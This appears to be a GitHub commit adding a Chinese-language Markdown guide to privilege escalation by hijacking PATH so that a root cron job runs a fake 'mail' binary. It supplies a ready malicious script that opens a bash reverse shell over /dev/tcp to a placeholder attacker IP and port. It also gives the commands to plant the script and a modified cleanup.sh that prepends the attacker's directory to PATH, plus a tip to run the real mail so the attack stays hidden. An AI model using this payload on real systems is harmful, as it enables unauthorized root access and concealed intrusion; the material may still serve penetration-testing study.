Add files via upload

This commit is contained in:
雾島风起時
2025-10-13 01:33:07 +08:00
committed by GitHub
parent daf90475b4
commit 0d37e00992
5 changed files with 386 additions and 0 deletions
+74
View File
@@ -0,0 +1,74 @@
### 某个定时任务执行的脚本内容是 `\#!/bin/bash;echo "Cleanup started" | mail -s "Status" $USER`,如何利用这个未指定绝对路径的 mail 命令提权
**攻击原理:滥用 `PATH` 环境变量**
这个漏洞利用的核心在于 **`PATH` 环境变量的优先级**
1. **`PATH` 的作用:** 在 Linux 系统中,当用户执行一个未指定绝对路径的命令(如 `mail``ls`)时,系统会按照 `PATH` 环境变量中列出的目录顺序,从左到右进行搜索,找到第一个匹配的同名可执行文件并运行
2. **`root` 用户的 `PATH`** `root` 用户的 `PATH` 环境变量通常包含 `/usr/local/sbin``/usr/local/bin``/usr/sbin``/usr/bin` 等系统目录
3. **漏洞利用:** 如果我们能够**修改**或**控制**脚本执行时的 `PATH` 环境变量,将一个我们具有写入权限的目录(例如 `/tmp``/home/user/bin`)添加到搜索路径的**最前面**,那么系统就会优先执行我们在这个目录中创建的**恶意程序**,而不是真正的 `/usr/bin/mail`
4. **最终目标:** 我们将创建一个名为 `mail` 的恶意可执行文件,它真正的作用是执行我们的提权命令(获取一个 Root Shell)
****
**攻击载荷的构造与放置**
攻击的核心是创建一个名为 `mail` 的恶意可执行文件,并确保它能被 Root 用户的 `cron` 任务找到并执行
**1. 构造恶意 Payload**
我们创建一个简单的 Shell 脚本作为我们的恶意 `mail` 程序。这个脚本将执行我们想要运行的任何 Root 命令。最直接的目标是获取一个 **Root Shell**
**文件内容:**
```bash
#!/bin/bash
# 1. 执行反弹 Shell 命令
# 确保替换 YOUR_ATTACKER_IP 和 YOUR_PORT
/bin/bash -i >& /dev/tcp/YOUR_ATTACKER_IP/YOUR_PORT 0>&1 &
# 2. (可选)执行真正的 mail 命令以避免 cron 任务报错
# 这样做能让管理员和脚本看起来一切正常。
# /usr/bin/mail -s "Status" $USER
```
**2. Payload 放置位置**
我们选择一个我们有写入权限的目录,并确保该目录能在 `cleanup.sh` 执行时被添加到 `PATH` 环境变量中
**策略 A:修改用户级的 `PATH` 变量(针对 `cron` 任务)**
许多系统的 `cron` 守护进程在执行任务时,不会加载完整的用户环境变量文件(如 `.bashrc``.profile`),而是使用一个最小化的、硬编码的 `PATH`。因此,我们必须**直接修改 `cleanup.sh` 脚本**或者**在环境变量文件中强制覆盖**
步骤 1:创建 Payload 和目录
假设我们在自己的家目录中创建这个目录和文件:
```bash
mkdir -p /home/user/bin
# 写入恶意 Shell 脚本
echo -e '#!/bin/bash\n/bin/bash -i >& /dev/tcp/YOUR_ATTACKER_IP/YOUR_PORT 0>&1 &' > /home/user/bin/mail
# 赋予执行权限
chmod +x /home/user/bin/mail
```
步骤 2:劫持 `cleanup.sh` 脚本的 `PATH`(必需)
我们必须修改 `/home/user/cleanup.sh`,在执行 `mail` 命令之前,强制将我们的恶意目录添加到 `PATH` 的最前面
修改后的 `/home/user/cleanup.sh` 脚本内容:
```bash
#!/bin/bash
# 【!!! 攻击载荷:添加恶意目录到 PATH 最前面 !!!】
export PATH="/home/user/bin:$PATH"
# 脚本中的其他命令 (都使用了绝对路径,不受影响)
/bin/some/command
/bin/another/command
# 原始命令:系统现在会优先找到 /home/user/bin/mail 并执行
echo "Cleanup started" | mail -s "Status" $USER
```